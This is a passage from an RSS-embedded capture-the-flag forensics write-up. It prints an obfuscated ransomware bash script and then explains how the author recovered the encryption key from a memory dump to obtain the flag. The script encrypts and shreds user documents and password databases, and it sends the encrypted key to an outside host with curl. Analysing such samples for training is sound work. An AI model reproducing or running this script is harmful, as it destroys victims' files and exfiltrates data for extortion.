1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ==&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$tljyVe4o7K3yOdj&lt;/span> &lt;span class="p">|&lt;/span> base64 --decode &lt;span class="p">|&lt;/span> gpg --import
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> -e &lt;span class="s2">&amp;#34;5\ny\n&amp;#34;&lt;/span> &lt;span class="p">|&lt;/span> gpg --command-fd &lt;span class="m">0&lt;/span> --edit-key &lt;span class="s2">&amp;#34;RansomKey&amp;#34;&lt;/span> trust
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">MMYPE1MNIGuGPBmyCUo6&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nv">DhQ52B6UugM1WcX&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="sb">`&lt;/span>strings /dev/urandom &lt;span class="p">|&lt;/span> grep -o &lt;span class="s1">&amp;#39;[[:alnum:]]&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> head -n &lt;span class="m">16&lt;/span> &lt;span class="p">|&lt;/span> tr -d &lt;span class="s1">&amp;#39;\n&amp;#39;&lt;/span>&lt;span class="sb">`&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$DhQ52B6UugM1WcX&lt;/span> &amp;gt; RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> gpg --batch --yes -r &lt;span class="s2">&amp;#34;RansomKey&amp;#34;&lt;/span> -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> shred -u RxgXlDqP0h3baha
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> curl --request POST --data-binary &lt;span class="s2">&amp;#34;@qgffrqdGlfhrdoE&amp;#34;&lt;/span> https://files.pypi-install.com/packages/recv.php
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">do&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="o">[[&lt;/span> &lt;span class="si">${&lt;/span>&lt;span class="nv">i&lt;/span>&lt;span class="si">}&lt;/span> !&lt;span class="o">=&lt;/span> *&lt;span class="s2">&amp;#34;*.&amp;#34;&lt;/span>* &lt;span class="o">]]&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">echo&lt;/span> &lt;span class="nv">$DhQ52B6UugM1WcX&lt;/span> &lt;span class="p">|&lt;/span> gpg --batch --yes -o &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>.a59ap --passphrase-fd &lt;span class="m">0&lt;/span> --symmetric --cipher-algo AES256 &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> shred -u &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="nv">$i&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> 2&amp;gt;/dev/null
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">done&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">unset&lt;/span> DhQ52B6UugM1WcX
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">v0nPa1GinWR3Dr27cnmT&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># Just a function to print strings&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ExoPFDWb3uT189e&lt;span class="o">()&lt;/span> &lt;span class="o">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> uFMHx73AXNF6CTsbtzYM
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> MMYPE1MNIGuGPBmyCUo6
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> v0nPa1GinWR3Dr27cnmT
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="o">[[&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>whoami&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;developer7669633432&amp;#34;&lt;/span> &lt;span class="o">]]&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="o">[&lt;/span> -x &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="k">$(&lt;/span>&lt;span class="nb">command&lt;/span> -v gpg&lt;span class="k">)&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span> &lt;span class="o">]&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="k">then&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ExoPFDWb3uT189e
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">exit&lt;/span> &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">fi&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="2-bash-script-analyze">2. Bash script analyze&lt;/h3>
&lt;p>I used ChatGPT to analyze the script, it was much faster than if I analyzed it by myself. There are two functions that we need to notice, &lt;code>uFMHx73AXNF6CTsbtzYM&lt;/code> and &lt;code>MMYPE1MNIGuGPBmyCUo6&lt;/code>.&lt;/p>
&lt;p>The &lt;code>uFMHx73AXNF6CTsbtzYM&lt;/code> function decodes a &lt;code>base64&lt;/code> string and imports as a key using &lt;code>GPG&lt;/code>.&lt;/p>
&lt;p>The &lt;code>MMYPE1MNIGuGPBmyCUo6&lt;/code> function will generate a random string of &lt;code>16&lt;/code> bytes consists of only alphabet and numbers. Then, it encrypts all files with &lt;code>GPG&lt;/code> using the random string as the private key.&lt;/p>
&lt;p>Now to find private key, we will immediately think of using &lt;code>volatility3&lt;/code> to find the key in the mem file, as they are the only file that hasn&amp;rsquo;t been used. However, in this writeup I will present to you an &lt;code>unintended solution&lt;/code> as I didn&amp;rsquo;t figure out to solve it using &lt;code>vol3&lt;/code> in contest&amp;rsquo;s time.&lt;/p>
&lt;p>My unintended solution was a famous trick in forensics, &lt;code>grep&lt;/code>. I used GPT to generate a grep command to find a string of &lt;code>16&lt;/code> bytes consists of only alphabet and numbers.&lt;/p>
&lt;img src="003.png" alt="dnSpy" width="1000"/>
&lt;p>I try some sussy strings and found that the private key is &lt;code>wJ5kENwyu8amx2RM&lt;/code>. Now we just need to decrypt the flag file and get the flag.&lt;/p>
&lt;p>Flag is &lt;strong>HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}&lt;/strong>&lt;/p>
&lt;h2 id="original-posts">Original Posts&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;a href="https://junvalentine.github.io/posts/htb-wu-2023/" target="_blank" rel="noopener">From Onirique&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://fazect.github.io/htb2023/" target="_blank" rel="noopener">From FazeCT&lt;/a>&lt;/p>
&lt;/li>
&lt;/ul></description></item></channel></rss>